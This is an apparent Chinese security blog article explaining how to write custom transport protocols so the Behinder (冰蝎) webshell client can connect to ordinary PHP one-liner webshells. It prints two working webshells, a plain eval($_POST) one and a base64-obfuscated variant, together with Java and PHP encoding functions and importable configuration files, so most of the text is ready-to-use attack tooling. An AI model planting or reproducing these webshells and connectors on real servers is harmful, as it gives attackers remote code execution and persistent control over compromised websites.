长亭百川云 - 文章详情

使用冰蝎连接原始版本PHP一句话

银针安全

133

2024-07-13

写在前面

冰蝎在v4.0版本中引入了自定义传输协议的机制,可以对本地和远程的加解密逻辑进行自定义。冰蝎内置的几个php版本的传输协议都是只支持冰蝎专用的小马,但是网上很多工具的exp都是直接写的普通的一句话木马。

本文给大家介绍一下如何写传输协议,可以直接连接普通的php一句话木马。

原始版一句话

首先看一下一句话木马内容:

<?php eval($_POST["pass"]); ?>  

像这种小马,冰蝎通过自定义传输协议是可以直接连接的,先给传输协议起个名字:eval_post,然后本地加密函数这样写:

private byte[] Encrypt(byte[] data) throws Exception  
{  
    String payload = java.net.URLEncoder.encode(new String(data),"UTF-8"); //先对Payload进行URL编码一下  
    payload = String.format("pass=%s",payload);//因为最原始的一句话没有加解密逻辑,所以直接把Payload封装进Post的Key-Value对就可以  
    return payload.getBytes();   
}  

这样本地的Payload就会以pass=xxx的形式发送到服务器。

本地解密函数最简单的可以这样写:

private byte[] Decrypt(byte[] data) throws Exception  
{  
   return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。  
}  

接下来是远程的加密函数,远程加密函数的功能是把服务端上Payload执行的结果在发回客户端之前做一些加密操作,我们这里省事,可以直接不做操作直接返回:

function Encrypt($data)  
{  
   return $data;  
}  

由于我们没用使用动态生成的一句话木马,所以远程解密函数用不到,直接打个空格留空就行。

接下来连接测试一下:

图 1

图 2

图 3

保存的时候,会提示“一致性校验未通过”,忽略即可。因为冰蝎动态生成的一句话加密和解密是对称的,而这里我们没有用冰蝎动态生成的一句话,所以会有这个提醒,直接忽略,不影响。

图 4

图 5

这个是连接最原始php一句话木马的传输协议,最主要是做个演示,同理也可以做一些自定义的加解密算法来修改传输协议。

Base64加密

再分享一个base64加密版本的:

一句话内容:

<?php  
    eval(base64_decode(str_replace(array("<",">"),array("+","/"),$_POST["pass"])));  
?>  

本地加密函数:

private byte[] Encrypt(byte[] data) throws Exception  
{  
    String json="pass=lucky";  
    json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));  
    return json.getBytes();  
}  

本地解密函数:

private byte[] Decrypt(byte[] data) throws Exception  
{  
   return data;      
}  

远程php加密函数:

function encrypt($data)  
{  
   return $data;  
}  

远程php解密函数置空,连接:

图 6

最后分享一下这两个传输协议的配置文件:

eval_post.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n    String payload = java.net.URLEncoder.encode(new String(data),\"UTF-8\");\n    payload = String.format(\"pass=%s\",payload);\n    return payload.getBytes(); //因为最原始的一句话没有加解密逻辑,所以直接封装个Post的Key-Value对就可以\n}","name":"eval_post","id":39,"decode":"\nprivate byte[] Decrypt(byte[] data) throws Exception\n{\n   return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。\n}","type":"jsp"},{"encode":"function Encrypt($data)\n{\n   return $data;\n}","name":"eval_post","id":40,"decode":" ","type":"php"}]  

eval_post_base64.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n    String json=\"pass=lucky\";\n    json=json.replace(\"lucky\",java.util.Base64.getEncoder().encodeToString(data).replace(\"+\",\"<\").replace(\"/\",\">\"));\n    return json.getBytes();\n}","name":"eval_post_base64","id":37,"decode":"private byte[] Decrypt(byte[] data) throws Exception\n{\n   return data;    \n}","type":"jsp"},{"encode":"function encrypt($data)\n{\n   return $data;\n}","name":"eval_post_base64","id":38,"decode":" ","type":"php"}]  

把上面的内容另存为xxx.config,然后导入冰蝎即可。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2